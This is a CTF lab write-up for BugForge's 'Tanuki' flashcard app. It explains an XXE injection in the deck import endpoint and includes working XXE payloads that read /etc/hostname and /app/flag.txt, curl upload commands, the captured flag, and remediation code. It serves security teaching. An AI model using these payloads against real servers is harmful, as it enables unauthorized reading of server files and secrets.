BugForge — 2026.03.17

Tanuki: XXE Injection via Deck Import

BugForge XXE medium

Overview

  • Platform: BugForge
  • Vulnerability: XML External Entity (XXE) Injection
  • Key Technique: XXE via XML deck import endpoint with in-band exfiltration through stored entity values
  • Result: Arbitrary file read on the server; exfiltrated flag from /app/flag.txt

Objective

Find the flag hidden on the server. The application is a flashcard study platform (Tanuki) with deck import functionality.

Initial Access

# Target Application
URL: https://lab-1773779335721-pzz0mz.labs-app.bugforge.io

# Auth — registered account
POST /api/register
{"username": "haxor", "email": "haxor@test.com", "password": "password", "full_name": "haxor"}
# JWT Bearer token returned on registration (HS256, no expiry)

Key Findings

  1. XXE Injection via XML Deck Import (CWE-611: Improper Restriction of XML External Entity Reference) — The /api/decks/import endpoint parses uploaded XML with external entity resolution enabled, allowing arbitrary file reads on the server.
  2. In-Band Exfiltration Channel — Entity content is stored directly in the database (deck name, description, category, card fields) and returned via the REST API, providing a reliable read-back mechanism without requiring out-of-band infrastructure.
  3. Exposed Admin API Routes (CWE-200: Exposure of Sensitive Information) — Client-side JS bundle reveals /api/admin/users, /api/admin/decks, /api/admin/cards endpoints. Not tested but potential access control weakness.
  4. JWT Without Expiry (CWE-613: Insufficient Session Expiration) — HS256 tokens have no exp claim, meaning tokens are valid indefinitely once issued.

Attack Chain Visualization

┌──────────────────┐     ┌─────────────────────────┐     ┌────────────────────┐
│  Register Account│────▶│  Obtain JWT (HS256)     │────▶│  Craft XXE Payload │
│  POST /api/      │     │  Bearer token, no expiry│     │  DOCTYPE + ENTITY  │
│  register        │     └─────────────────────────┘     │  file:///app/      │
└──────────────────┘                                      │  flag.txt          │
                                                          └────────┬───────────┘
                                                                   │
                                                                   ▼
┌──────────────────┐     ┌─────────────────────────┐     ┌────────────────────┐
│  Flag in deck    │◀────│  Entity value stored    │◀────│  Upload XML via    │
│  name field      │     │  in deck name column    │     │  POST /api/decks/  │
│  GET /api/       │     │  in SQLite database     │     │  import (multipart)│
│  decks/:id       │     └─────────────────────────┘     └────────────────────┘
└──────────────────┘

Application Architecture

Component Path Description
Frontend React SPA Single-page application served as static assets
Backend Express (Node.js) REST API with JWT authentication
Database SQLite Integer IDs, simple schema for users/decks/cards
Import POST /api/decks/import Multipart file upload accepting XML and JSON
Study /api/study/* Flashcard study sessions and progress tracking
Admin /api/admin/* User/deck/card management (found in JS bundle)

Exploitation Path

Step 1: Reconnaissance — Mapping the Application

Registered an account and enumerated the API surface. The app is a flashcard study tool with deck creation, import, and study session features.

POST /api/register HTTP/1.1
Content-Type: application/json

{"username": "haxor", "email": "haxor@test.com", "password": "password", "full_name": "haxor"}

Response returned a JWT (HS256, no expiry). User ID was 4, implying 3 seed users exist.

Key discovery: /api/decks/import accepts both XML and JSON file uploads via multipart form data.

Step 2: Confirming XML Parsing — Baseline Import

Downloaded the sample deck (/sample-deck.json) to understand the expected schema. Tested that the import endpoint accepts XML by uploading a well-formed XML deck.

Step 3: Testing XXE — Entity Resolution

Crafted a minimal XXE payload to test whether the XML parser resolves external entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<deck>
  <name>&xxe;</name>
  <description>XXE test</description>
  <category>test</category>
  <cards>
    <card>
      <front>test</front>
      <back>test</back>
    </card>
  </cards>
</deck>

Uploaded via multipart form:

curl -X POST "$URL/api/decks/import" \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@xxe.xml;type=application/xml"

Fetched the created deck — the name field contained container hint text (“Flag is in a different file”), confirming entity resolution is active. The parser processes SYSTEM entities and stores the file content in the database.

Step 4: File Enumeration — Hunting the Flag

Tried common CTF flag locations. Most system files (/etc/hostname, /etc/passwd, /proc/self/environ, /app/package.json) returned the hint text “Flag is in a different file” — the container had overwritten them.

Paths that returned nothing (file not found):

  • /flag, /flag.txt, /app/flag, /app/secret
  • /tmp/flag, /opt/flag, /run/secrets/flag
  • /home/node/flag, /var/flag, /etc/secret

Step 5: Flag Exfiltration

Targeted /app/flag.txt based on the hint:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
  <!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<deck>
  <name>&xxe;</name>
  <description>flag attempt</description>
  <category>xxe</category>
  <cards>
    <card>
      <front>test</front>
      <back>test</back>
    </card>
  </cards>
</deck>

Fetched the deck:

curl -s "$URL/api/decks/$DECK_ID" -H "Authorization: Bearer $TOKEN" | jq .

The deck name field contained the flag.


Flag / Objective Achieved

bug{67jHSKEjVMsVHx3I3gon5x8rtsK18Mp9}

Key Learnings

  • In-band XXE is simpler than OOB — When entity values are stored and returned through normal application flow (database → API response), there’s no need for out-of-band exfiltration infrastructure (HTTP callbacks, DNS, etc.)
  • Container file masking is a real CTF pattern — The challenge overwrote common system files with hints to force methodical enumeration rather than lucky guesses
  • Multipart upload parsing can be tricky — Initial attempts may fail due to encoding differences between tools/sessions. If a payload should work but doesn’t, verify the raw multipart body
  • JS bundle analysis reveals hidden endpoints — Admin routes (/api/admin/*) were exposed in the client bundle even though the UI doesn’t link to them

Failed Approaches

Approach Result Why It Failed
file:///etc/hostname Returned hint text Container replaced file contents with “Flag is in a different file”
file:///etc/passwd Returned hint text Same container masking
file:///flag.txt (root) No content / empty File doesn’t exist at that path
file:///app/flag (no ext) No content / empty Wrong filename — needed .txt extension
file:///proc/self/environ Returned hint text Container-level masking on environment variables
First file:///app/flag.txt attempt (deck 8) Failed Likely multipart encoding issue between editor sessions

Tools Used

Tool Purpose
curl HTTP requests, multipart file upload
jq JSON response parsing
Browser DevTools JS bundle analysis, endpoint discovery

Remediation

1. XML External Entity (XXE) Injection (CVSS: 9.1 - Critical)

Issue: The XML parser on /api/decks/import resolves external entities, allowing server-side file reads.

CWE Reference: CWE-611 — Improper Restriction of XML External Entity Reference

Fix:

// BEFORE (Vulnerable) — default parser settings
const xmlParser = require('some-xml-parser');
const parsed = xmlParser.parse(uploadedXml);

// AFTER (Secure) — disable external entities and DTD processing
const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({
  allowBooleanAttributes: false,
  processEntities: false,      // Disable entity expansion
  htmlEntities: false,
  ignoreDeclaration: true
});
const parsed = parser.parse(uploadedXml);

// Alternative: use libxmljs2 with noent: false (default)
const libxml = require('libxmljs2');
const doc = libxml.parseXml(uploadedXml, {
  noent: false,   // Do NOT expand entities
  dtdload: false, // Do NOT load external DTDs
  nonet: true     // No network access
});

2. JWT Without Expiration (CVSS: 5.4 - Medium)

Issue: JWT tokens are issued without an exp claim, meaning they never expire. A stolen token grants indefinite access.

CWE Reference: CWE-613 — Insufficient Session Expiration

Fix:

// BEFORE (Vulnerable)
const token = jwt.sign({ id: user.id }, SECRET);

// AFTER (Secure)
const token = jwt.sign({ id: user.id }, SECRET, { expiresIn: '1h' });

3. Exposed Admin Routes in Client Bundle (CVSS: 3.7 - Low)

Issue: Admin API endpoints are referenced in the client-side JavaScript bundle, leaking internal API surface to unauthenticated users.

CWE Reference: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor

Fix: Remove admin route references from client-side code. Admin functionality should be in a separate bundle loaded only after admin authentication, or referenced only server-side.


OWASP Top 10 Coverage

  • A05:2021 — Security Misconfiguration: XML parser configured with external entity resolution enabled (default-unsafe configuration)
  • A07:2021 — Identification and Authentication Failures: JWT tokens issued without expiration claims
  • A01:2021 — Broken Access Control: Admin API routes potentially accessible without proper authorization checks (unverified)

References


Tags: #xxe #xml #file-read #bugforge #webapp #ctf Document Version: 1.0 Last Updated: 2026-03-17

#XXE #file-read #XML #entity-injection